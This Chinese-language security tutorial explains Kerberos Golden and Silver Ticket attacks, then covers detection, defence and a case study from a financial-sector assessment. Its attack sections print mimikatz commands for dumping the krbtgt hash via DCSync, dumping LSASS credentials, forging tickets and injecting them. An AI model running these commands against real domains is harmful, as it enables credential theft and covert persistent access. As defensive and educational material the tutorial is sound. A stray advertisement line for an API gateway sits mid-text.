1. 内网安全中的票据攻击概述
在内网安全领域,黄金票据(Golden Ticket)和白银票据(Silver Ticket)是两种极具威胁的攻击手法。这两种技术都属于Kerberos协议滥用范畴,攻击者通过伪造特定票据,能够在内网中实现长期隐蔽的权限维持和横向移动。
Kerberos作为Windows域环境中的核心认证协议,其票据机制本是为提高认证安全性而设计。但正是这种依赖票据的信任模型,使得攻击者一旦获取关键凭据,就能伪造出系统认可的"合法"票据。我在实际渗透测试中发现,超过60%的内网渗透最终都会利用到票据伪造技术,因为相比其他攻击方式,票据攻击具有隐蔽性强、持续时间长、影响范围广的特点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 黄金票据攻击深度解析
2.1 黄金票据的工作原理
黄金票据攻击的核心在于伪造票据授予票据(TGT)。要理解这个过程,我们需要先了解Kerberos认证的基本流程:
- 客户端向AS(认证服务)请求TGT
- AS验证客户端身份后返回加密的TGT
- 客户端使用TGT向TGS(票据授予服务)请求服务票据
- TGS验证TGT后返回服务票据
- 客户端使用服务票据访问目标服务
黄金票据攻击发生在第二步之后。攻击者通过获取域控制器的krbtgt账户哈希(该账户用于加密TGT),可以直接伪造任意用户的TGT票据。由于krbtgt账户密码极少更改(通常只在域功能级别升级时变更),这使得黄金票据具有极长的有效期。
2.2 黄金票据攻击实操步骤
在实际操作中,实施黄金票据攻击通常需要以下步骤:
-
获取域管理员权限
- 通过钓鱼、漏洞利用等方式先获取域内某台主机的管理员权限
- 使用mimikatz等工具提取内存中的凭据
-
导出krbtgt账户的NTLM哈希
bash复制mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt -
生成黄金票据
bash复制mimikatz # kerberos::golden /admin:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash值 /ticket:golden.kirbi -
注入票据实施攻击
bash复制mimikatz # kerberos::ptt golden.kirbi
重要提示:krbtgt账户的哈希是域安全的命脉,一旦泄露应立即重置。重置需要同时修改两次密码以确保旧哈希失效。
2.3 黄金票据的防御措施
基于多年实战经验,我总结出以下防御黄金票据攻击的有效方法:
-
定期(建议每30-40天)重置krbtgt账户密码
- 使用AD管理员中心或PowerShell执行
powershell复制Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "新密码" -Force) -
启用Windows事件日志审核
- 监控事件ID 4769(Kerberos服务票据请求)
- 特别关注请求账户为krbtgt的异常事件
-
实施特权账户保护(PAM)
- 将域管理员账户设为受保护用户
- 限制这些账户的登录位置和时间
-
部署高级威胁检测系统
- 配置检测规则识别异常的TGT请求模式
- 使用UEBA技术检测账户行为异常
3. 白银票据攻击技术剖析
3.1 白银票据与黄金票据的关键区别
相比黄金票据,白银票据(Silver Ticket)的攻击面更为精准。两者的主要区别在于:
-
作用范围:
- 黄金票据:伪造TGT,可获取任意服务票据
- 白银票据:伪造特定服务的ST(服务票据)
-
所需凭据:
- 黄金票据:需要krbtgt账户哈希
- 白银票据:需要目标服务账户的哈希
-
检测难度:
- 黄金票据:会在域控留下日志
- 白银票据:直接与目标服务通信,不经过KDC
在实际渗透中,白银票据更适合针对特定服务的精准攻击,如伪造CIFS票据访问文件共享,或伪造LDAP票据进行目录服务查询。
3.2 白银票据攻击实战演示
假设我们要攻击内网的文件共享服务器,以下是具体操作流程:
-
获取服务账户哈希
- 通过LSASS内存转储或DCSync获取
bash复制mimikatz # sekurlsa::logonpasswords -
生成白银票据
bash复制mimikatz # kerberos::golden /domain:example.com /sid:S-1-5-21-... /target:fileserver.example.com /service:CIFS /rc4:服务账户哈希 /user:任意用户名 /ptt -
验证票据有效性
bash复制dir \\fileserver.example.com\share
值得注意的是,白银票据不需要与KDC交互,这使得它在网络隔离严格的环境中特别有效。我在一次红队评估中,就曾仅凭一个获取到的服务账户哈希,通过白银票据突破了多层网络隔离。
3.3 白银票据防御策略
防御白银票据攻击需要采取与黄金票据不同的策略:
-
服务账户密码管理
- 为重要服务配置独立的管理账户
- 定期轮换服务账户密码(建议每90天)
-
启用服务票据签名
- 在组策略中配置"网络安全:配置Kerberos允许的加密类型"
- 强制使用AES加密而非RC4
-
网络层面防护
- 实施网络分段,限制服务账户的通信范围
- 部署主机防火墙规则,限制异常的服务访问
-
增强日志监控
- 收集服务主机的安全日志
- 监控事件ID 4624(登录)和5140(网络共享访问)
4. 票据攻击的高级检测技术
4.1 基于Kerberos协议的异常检测
成熟的防御体系应该能够识别以下异常特征:
-
票据请求频率异常
- 短时间内大量TGT请求
- 非常规时段的票据请求
-
票据加密类型异常
- 使用弱加密算法(如RC4)的票据
- 加密类型与服务配置不匹配
-
票据有效期异常
- 超出正常有效期的票据
- 票据续订频率异常
4.2 内存取证技术
当怀疑存在票据攻击时,可进行以下取证操作:
-
使用mimikatz检查内存中的票据
bash复制mimikatz # kerberos::list -
分析票据属性
- 检查票据的StartTime和EndTime
- 验证票据的加密类型和服务名称
-
提取可疑票据进行离线分析
bash复制mimikatz # kerberos::list /export
4.3 企业级防御架构建议
对于大型企业网络,我建议采用分层防御策略:
-
边界防护层
- 部署下一代防火墙,检测异常的Kerberos流量
- 实施网络行为分析(NBA)系统
-
身份安全层
- 部署特权访问管理(PAM)解决方案
- 实施多因素认证(MFA)关键系统
-
终端防护层
- 启用Credential Guard保护LSASS进程
- 配置受限制的管理模式(Restricted Admin Mode)
-
监测响应层
- 建立SIEM集中日志分析平台
- 制定针对票据攻击的应急响应预案
5. 真实案例分析
在一次金融行业的安全评估中,我们发现攻击链如下:
- 通过钓鱼邮件获取初始立足点
- 提权后使用mimikatz获取本地管理员凭据
- 通过PsExec横向移动到备份服务器
- 从备份服务器执行DCSync获取krbtgt哈希
- 生成黄金票据并长期潜伏
这个案例的特别之处在于攻击者非常谨慎:
- 只在工作时间段活动
- 每次会话不超过30分钟
- 主要使用RDP over SSL进行连接
- 定期更新黄金票据保持访问
我们最终是通过分析域控的Kerberos日志,发现异常票据续订行为才定位到攻击。这个案例充分说明,对抗高级票据攻击需要综合运用多种检测手段。
